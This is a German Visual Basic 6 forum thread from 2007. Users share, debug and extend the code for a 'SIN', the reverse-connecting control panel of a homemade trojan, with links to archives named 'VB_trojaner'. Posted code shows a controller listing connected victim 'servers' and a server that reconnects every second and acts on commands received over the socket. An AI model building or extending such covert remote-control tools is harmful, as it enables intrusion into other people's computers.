Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Source Codes
Autor
Nachricht
opactium_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 13.10.2007
Beiträge: 20

[B] Sin-Code-Source
Verfasst am: 19.11.2007, 19:58

hallo zusammen

ich habe mir 10min zeit genommen, und ne absolut unkomplizierte SIN gemacht. jede einzelne Zeile habe ich ausfuehrlich kommentiert, sollte also fuer euch kein problem sein, daraus was sauberes zu machen.

da ich das ganze moeglichst einfach und schlicht halten wollte, habe ich das ganze mit nur einem winsock element geproggt. das reicht aber vollkommen.

folgende sachen ueberzeugen:

-Nur 1 winscok element. (ressourcen sparen)
-Fuegt server automatisch der SIN hinzu
-loescht bei disconnect den server automatisch aus der sin
-server reconnected automatisch
-extrem leicht verstaendlich code
-sehr stabil (habe es mit 50servern getestet, war absolut kein problem)
-leicht erweiterbar
-nutzt winsock array
-leicht erweiterbar. jeder kann also selber ganz leicht funktionen adden
-neu jetzt auch mit msgbox senden

so hoffe jemand kann das gebrauchen.

MfG

nur SIN => http://rapidshare.com/files/70855427/VB_trojaner.rar.html
SIN + MsgBox => http://rapidshare.com/files/71118613/VB_Trojaner.rar.html


Zuletzt bearbeitet von opactium_ am 20.11.2007, 22:18, insgesamt einmal bearbeitet
 
killer110_
Poster
Poster



Anmeldedatum: 16.04.2007
Beiträge: 165


Verfasst am: 19.11.2007, 20:09

YEAHHHHHH!!! Kann ich perfekt gebrauchen^^ Werds mihr auf jeden Fall mal angucken!

Feedback kommt..
 
Blue!Sky!_
Coder
Coder



Anmeldedatum: 06.10.2007
Beiträge: 227


Verfasst am: 19.11.2007, 20:54

Einfach aber geil ! thx
mfg
 
killer110_
Poster
Poster



Anmeldedatum: 16.04.2007
Beiträge: 165


Verfasst am: 20.11.2007, 14:17

ok! is sehr nice! Aber wie kann ich nun zu einer bestimmten selektierten ip zb "hallo" senden!
 
Tix_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 08.06.2007
Beiträge: 51


Verfasst am: 20.11.2007, 16:31

Meld dich mal Via Icq , thx !


618-916
 
opactium_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 13.10.2007
Beiträge: 20


Verfasst am: 20.11.2007, 22:16

@Tix

wiso denn? hab keinen bock auf free support geben Very Happy

also da die frage aufgetaucht ist, habe ich zu dem client und dem server noch ne msgbox funktion hinzugefuegt.

ich habe das so gestaltet, dass ihr das kinderleicht erweitern koennt.
ich muss das glaub ich nicht erklaeren, das sollte jeder selber koennen.

HavE FuN!!

http://rapidshare.com/files/71118613/VB_Trojaner.rar.html
 
exe-cute_
Poster
Poster



Anmeldedatum: 21.10.2007
Beiträge: 154


Verfasst am: 08.12.2007, 23:34

ich würd ma sagen, dein source hat nen bug.
und zwar folgenden:

wenn du den server startest...hab ich so 7, 8 mal gemacht
dann einen schließt, nen neuen startet funzt es nicht Very Happy

und zwar in der function neuen server hinzufügen...
....
 
kackb00n_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 07.12.2007
Beiträge: 42


Verfasst am: 11.12.2007, 16:18

jo, das ist bei mir auch buggy... Wer hilft??
 
exe-cute_
Poster
Poster



Anmeldedatum: 21.10.2007
Beiträge: 154


Verfasst am: 11.12.2007, 17:11

Very Happy
das liegt daran, das ein falscher index zugewiesen wird.
so 2 mins den ssource nommal angeguggt..
also
der listview soll ein item hinzugefügt werden.
jedoch mit dem index : winsock.cout
wenn sich erin server schließt, schließt sich das winsock auch, bleibt jedoch bestehen...
sprich die anzahl der winsocks verändert sich nicht, nachdem ein winsock geschloosen wird

wenn jetzt ein neuer server in die sin kommt, soll der eintrag in der listview den index (winsock.cout) zugewessen werden

das is der fehler...

keine große sache...
da du nun weiß wo der fehler ist..
mfg
 
kackb00n_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 07.12.2007
Beiträge: 42


Verfasst am: 11.12.2007, 17:39

sry aber ich checks echt nicht mit dem index und so...
Wieso steht da index - 1 und so?

Kannst du mir den verbesserten code-schnipsel mal schreibn?
Das wäre nett, hab bis jetzt die ganze zeit rum probiert aber nix rum gekommen.

Danke!!
 
slayer616_
Coder
Coder

Anmeldedatum: 16.05.2007
Beiträge: 90


Verfasst am: 11.12.2007, 19:52

KACKBOON du bist ein KACKboon wenn du das mit dem index nicht mal verstehst lass es sein!
1337Source+1337Source+1337Source=1337TROJAN
 
Viktor
« Webmaster »<b><font color=red>« Webmaster »</fo



Anmeldedatum: 08.12.2006
Beiträge: 354
Wohnort: Berlin


Verfasst am: 11.12.2007, 20:04

1. Verwarnung für dich, andere User werden hier nicht beleidigt!
 
exe-cute_
Poster
Poster



Anmeldedatum: 21.10.2007
Beiträge: 154


Verfasst am: 11.12.2007, 22:33

nutze einfach die andere sin...die hat keinen bug...
meine reserve connection habe ich eh ganz anders...

oder heir...
hab fast die ganzen clienten umgeschriben
5 mins hats gedauert...nun klappt es auch mit den nachbarn Very Happy
nutze einfach den gleichen server...

Downlaod:
http://lalalulu.la.ohost.de/557dd672-client.rar


Der Fehler:

Der index des listviewItems sollte den gleichen index des winsocks haben.
Nur der coder hat nicht beachtet, das sich ein winsock schließen könnte.
in diesem source wird dann ein weiteres winsock geladen.
jetzt passt der index des items der listview nicht mehr zum index des winsocks.

Lag vieleicht an den "10" minuten für die reserve connection, obwohl ich mir nicht vorstellen kann die einfach in 10 minuten zu coden.

MfG
exe-cute
 
Crusader_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 08.06.2007
Beiträge: 54


Verfasst am: 11.12.2007, 23:50

könntest du nicht noch nen beispiel einbauen wie man wieder was zurücksendet zum client ? bin immer noch nicht drauf gekommen wies funktioniert Crying or Very sad
 
exe-cute_
Poster
Poster



Anmeldedatum: 21.10.2007
Beiträge: 154


Verfasst am: 11.12.2007, 23:59

Server - DataArrival
winsock1.senddata "Server sendet an Client"

client - DataArrival
winsock(index).getdata gData
msgbox gData

hoffe das reicht...(den rest kannste sicherlich selber...)
hab den source garnicht mehr auf der platte.....

MfG
 
Crusader_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 08.06.2007
Beiträge: 54


Verfasst am: 12.12.2007, 00:14

kk sag mir mal bitte was ich anders machen muss , ich komm damit echt ned klar

Client:

Code:
'hab die reserve connection von opactium mal umgeschrieben.....
'jetzt kannste auch wieder neue server nachjem löschen aufnehmen
'ich glaub der source is nun auch kleiner :D
'MfG
'exe-cute

Dim FreeIndex As Integer

Private Sub cmdlisten_Click() 'wen button geklickt
cmdlisten.Enabled = False 'deaktiviere button (sonst gibts error)
Winsock1(0).LocalPort = txtport.Text 'setze den winsock port auf den port vom textfeld
Winsock1(0).Listen 'listen auf den port
End Sub 'wende wenn button geklickt

Private Sub lstview_DblClick() 'wenn auf ein elemnt doppelgeklickt wird
Dim ans As String 'string ans definieren
ans = InputBox("Bitte den Text eingeben, der dann in der MsgBox steht!", "MsgBox") 'inputbpx fuer den text oeffnen und resultat in ans speichern
Winsock1(lstview.SelectedItem.SubItems(1)).SendData "MsgBox#" & ans  'befehl an server senden ueber das zugehoerige winsock element.
End Sub 'ende wenn auf ein elemnt doppelgeklickt wird

Private Sub Command1_Click()
Winsock1(lstview.SelectedItem.SubItems(1)).SendData "MsgBox#"
End Sub

Private Sub Form_Load()
ListView1.ColumnHeaders.Add , , "IP"
ListView1.ColumnHeaders.Add , , "Index"
ListView1.ColumnHeaders.Add , , "LocalPort"
ListView1.ColumnHeaders.Add , , "RemotePort"
End Sub

Private Sub Winsock1_Close(Index As Integer)
    Dim x As Integer
   
    For x = 1 To ListView1.ListItems.Count
        If ListView1.ListItems.Item(x).SubItems(1) = Index Then
            ListView1.ListItems.Remove (ListView1.ListItems.Item(x).Index)
        End If
    Next x
End Sub

Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long)
    Dim AddServerToLstv As Object
   
    FreeIndex = FreeIndex + 1
    Load Winsock1(FreeIndex)
    Winsock1(FreeIndex).Accept requestID
   
    Set AddServerToLstv = ListView1.ListItems.Add(, , Winsock1(Index).RemoteHostIP)
    With AddServerToLstv
        .SubItems(1) = FreeIndex
        .SubItems(2) = Winsock1(FreeIndex).LocalPort
        .SubItems(3) = Winsock1(FreeIndex).RemotePort
    End With

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Winsock(Index).GetData gData
MsgBox gData

End Sub


Server:

Code:
Private Sub Form_Click() 'wenn auf from geklickt
End 'beenden wenn in form geklickt
End Sub 'ende wenn auf form geklickt

Private Sub lblend_Click() 'wenn auf label geklickt
End 'beenden wenn auf schrift geklickt
End Sub 'ende wenn auf label geklickt

Private Sub tmrconnect_Timer() 'wenn 1sek vorbei ist
reconnect 'wenn 1sek vorbei, dann reconnect
End Sub 'ende wenn 1sek vorbei ist
Public Sub reconnect() 'start programmteil neu verbinden
If Winsock1.State <> sckConnected Then 'pruefen ob nicht schon verbunden wenn nicht weiter
Winsock1.Close 'zur sicherheit winsock schliessen
Winsock1.Connect "127.0.0.1", "896" 'neu connecten
End If 'ende der if abfrage
DoEvents 'auf andere sachen des server reagieren
End Sub 'ende programmteil neu verbinden
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'wenn daten ankommen
Dim daten As String 'daten definieren
Dim daten_split() As String 'daten_split definieren
Winsock1.GetData daten 'daten empfangen
daten_split = Split(daten, "#") 'empfange daten splitten
Select Case daten_split(0) 'erstes gesplitetes teil fuer select case nehmen
Case "MsgBox" 'wenn MsgBox dann
' MsgBox daten_split(1), vbCritical, "Server Messagebox" 'oeffne eine MsgBox mit dem ermpfangenen text
Winsock1.SendData "Server sendet an Client"
Case "usw." 'hier koennt ihr dann so wie oben weitermachen und die vom client empfangenen daten auswerten
End Select 'ende select case
End Sub 'ende wenn daten ankommen
 
Blackey_
Newbie
Newbie

Anmeldedatum: 09.12.2007
Beiträge: 9


Verfasst am: 13.12.2007, 16:54

scheint unter vista nicht zu funktionieren (zumindest der client ;( )
 
slayer616_
Coder
Coder

Anmeldedatum: 16.05.2007
Beiträge: 90


Verfasst am: 13.12.2007, 17:31

warum?^^
 
Crusader_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 08.06.2007
Beiträge: 54


Verfasst am: 13.12.2007, 20:06


hab vista und kann sagen der geht , hab mitlerweile das problem gelöst , dank exe-cute , also müsste eigentlich schon gehen Wink

mfg
Crusader

 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Source Codes

Tags: sin, winsock, code

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge VB6: Projekt neu kompilieren ohne Steuerlemente Lizenz 459 05.01.2011, 17:09
Keine neuen Beiträge [Probleme]Hoffe Auf schnelle Antwort 470 16.07.2009, 22:08
Keine neuen Beiträge Wie kann ich mich bei euch anmelden?? 910 20.05.2002, 01:28
Keine neuen Beiträge Ich bin neu hier! 522 08.01.2002, 18:48
Keine neuen Beiträge Eine kleine Frage an euch.. 1019 30.09.2007, 09:57
 


[ Time: 0.6304s ][ Queries: 134 (0.4108s) ][ GZIP on - Debug on ]